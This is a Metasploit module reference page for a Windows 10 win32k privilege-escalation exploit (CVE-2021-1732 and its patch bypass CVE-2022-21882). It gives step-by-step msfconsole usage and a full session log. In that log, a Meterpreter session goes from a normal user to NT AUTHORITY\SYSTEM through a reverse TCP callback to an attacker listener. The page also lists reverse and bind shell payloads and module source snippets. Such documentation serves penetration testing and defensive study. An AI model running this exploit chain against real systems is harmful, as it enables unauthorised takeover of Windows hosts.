Win32k ConsoleControl Offset Confusion - Metasploit


This page contains detailed information about how to use the exploit/windows/local/cve_2022_21882_win32k metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Win32k ConsoleControl Offset Confusion
Module: exploit/windows/local/cve_2022_21882_win32k
Source code: modules/exploits/windows/local/cve_2022_21882_win32k.rb
Disclosure date: 2021-02-09
Last modification time: 2022-02-24 11:24:20 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-7255, CVE-2021-1732, CVE-2022-21882

A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation. This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to function on a wider range of Windows 10 targets.

Module Ranking and Traits


Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-os-restarts: Module may crash the OS, but the OS restarts.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/cve_2022_21882_win32k
msf exploit(cve_2022_21882_win32k) > show targets
    ... a list of targets ...
msf exploit(cve_2022_21882_win32k) > set TARGET target-id
msf exploit(cve_2022_21882_win32k) > show options
    ... show and set options ...
msf exploit(cve_2022_21882_win32k) > set SESSION session-id
msf exploit(cve_2022_21882_win32k) > exploit

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation.

This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to function on a wider range of Windows 10 targets.

Windows 10 builds 17134 (v1803) through 19041 (v20H1) will use the original technique from CVE-2021-1732, leveraging user32!CreateWindowEx to trigger the xxxClientAllocWindowClassExtraBytes hook and corrupt the target window. Windows 10 builds 19042 (v20H2) through 19044 (v21H2) will use the updated technique from CVE-2022-21882, leveraging win32u!NtUserMessageCall to trigger the xxxClientAllocWindowClassExtraBytes hook for the same effect.

Installation And Setup

Windows 10 versions 1803 through 21H2 (without the patch) are vulnerable out of the box. This exploit module has been tested on Windows 10 versions 1803, 1909, 20H1, 20H2 and 21H2.

Verification Steps


  1. Start msfconsole
  2. Get a Meterpreter session on a vulnerable host
  3. Do: use exploit/windows/local/cve_2022_21882_win32k
  4. Set the SESSION and PAYLOAD options
  5. Do: run
  6. You should get a shell.

Scenarios


Windows 10 Version 21H2 Build 19044.1288 x64

msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-SRAQBLH\smcintyre
meterpreter > sysinfo
Computer        : DESKTOP-SRAQBLH
OS              : Windows 10 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getsystem
[-] stdapi_sys_config_getuid: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(windows/local/cve_2022_21882_win32k) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/cve_2022_21882_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21882_win32k) > set LHOST 192.168.159.128 
LHOST => 192.168.159.128
msf6 exploit(windows/local/cve_2022_21882_win32k) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 6840 launched.
[*] Reflectively injecting the DLL into 6840...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 192.168.159.87
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.87:52622 ) at 2022-02-18 14:34:00 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-SRAQBLH
OS              : Windows 10 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the windows/local/cve_2022_21882_win32k exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/cve_2022_21882_win32k

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21882_win32k) > show info

       Name: Win32k ConsoleControl Offset Confusion
     Module: exploit/windows/local/cve_2022_21882_win32k
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2021-02-09

Provided by:
  BITTER APT
  JinQuan
  MaDongZe
  TuXiaoYi
  LiHao
  L4ys
  KaLendsi
  Spencer McIntyre

Module stability:
 crash-os-restarts

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows 10 v1803-21H2 x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on

Payload information:

Description:
  A vulnerability exists within win32k that can be leveraged by an 
  attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The 
  flaw exists in how the WndExtra field of a window can be manipulated 
  into being treated as an offset despite being populated by an 
  attacker-controlled value. This can be leveraged to achieve an out 
  of bounds write operation, eventually leading to privilege 
  escalation. This flaw was originally identified as CVE-2021-1732 and 
  was patched by Microsoft on February 9th, 2021. In early 2022, a 
  technique to bypass the patch was identified and assigned 
  CVE-2022-21882. The root cause is is the same for both 
  vulnerabilities. This exploit combines the patch bypass with the 
  original exploit to function on a wider range of Windows 10 targets.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-1732
  https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/
  https://github.com/KaLendsi/CVE-2021-1732-Exploit
  https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e
  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732
  https://www.fuzzysecurity.com/tutorials/expDev/22.html
  https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm
  https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html
  https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html
  https://nvd.nist.gov/vuln/detail/CVE-2022-21882
  https://github.com/L4ys/CVE-2022-21882
  https://github.com/KaLendsi/CVE-2022-21882

Module Options


This is a complete list of options available in the windows/local/cve_2022_21882_win32k exploit:

msf6 exploit(windows/local/cve_2022_21882_win32k) > show options

Module options (exploit/windows/local/cve_2022_21882_win32k):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.170  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows 10 v1803-21H2 x64

Advanced Options


Here is a complete list of advanced options supported by the windows/local/cve_2022_21882_win32k exploit:

msf6 exploit(windows/local/cve_2022_21882_win32k) > show advanced

Module advanced options (exploit/windows/local/cve_2022_21882_win32k):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ForceExploit            false            no        Override check result
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transport
                                                           s
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go thr
                                                           ough proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncodi
                                                           ng is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/cve_2022_21882_win32k module can exploit:

msf6 exploit(windows/local/cve_2022_21882_win32k) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 10 v1803-21H2 x64

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2022_21882_win32k exploit:

msf6 exploit(windows/local/cve_2022_21882_win32k) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                         normal  No     Interact with Established SSH Connection
   4   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   5   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   6   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   8   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   9   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   10  payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   11  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   12  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   13  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   15  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   16  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   17  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   18  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   19  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   20  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   21  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   22  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   25  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   26  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   27  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   28  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   29  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   30  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   31  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   32  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   33  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   34  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   35  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   36  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   37  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   38  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   39  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   40  payload/windows/x64/powershell_reverse_tcp_ssl                       normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   41  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   42  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   43  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   44  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   45  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   46  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   47  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   48  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   51  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   52  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   53  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   54  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   55  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   56  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   57  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   58  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   59  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   60  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   61  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   62  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   63  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   64  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/cve_2022_21882_win32k exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/cve_2022_21882_win32k) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The exploit only supports Windows 10 versions 1803 - 21H2


Here is a relevant code snippet related to the "The exploit only supports Windows 10 versions 1803 - 21H2" error message:

98:	
99:	    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
100:	    vprint_status("Windows Build Number = #{build_num}")
101:	
102:	    unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044)
103:	      print_error('The exploit only supports Windows 10 versions 1803 - 21H2')
104:	      return CheckCode::Safe
105:	    end
106:	
107:	    CheckCode::Appears
108:	  end

Session is already elevated


Here is a relevant code snippet related to the "Session is already elevated" error message:

107:	    CheckCode::Appears
108:	  end
109:	
110:	  def exploit
111:	    if is_system?
112:	      fail_with(Failure::None, 'Session is already elevated')
113:	    end
114:	
115:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
116:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
117:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86

Running against WOW64 is not supported


Here is a relevant code snippet related to the "Running against WOW64 is not supported" error message:

111:	    if is_system?
112:	      fail_with(Failure::None, 'Session is already elevated')
113:	    end
114:	
115:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
116:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
117:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
118:	      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
119:	    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
120:	      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
121:	    end

Session host is x64, but the target is specified as x86


Here is a relevant code snippet related to the "Session host is x64, but the target is specified as x86" error message:

113:	    end
114:	
115:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
116:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
117:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
118:	      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
119:	    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
120:	      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
121:	    end
122:	
123:	    encoded_payload = payload.encoded

Session host is x86, but the target is specified as x64


Here is a relevant code snippet related to the "Session host is x86, but the target is specified as x64" error message:

115:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
116:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
117:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
118:	      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
119:	    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
120:	      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
121:	    end
122:	
123:	    encoded_payload = payload.encoded
124:	    execute_dll(
125:	      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • BITTER APT
  • JinQuan
  • MaDongZe
  • TuXiaoYi
  • LiHao
  • L4ys
  • KaLendsi
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.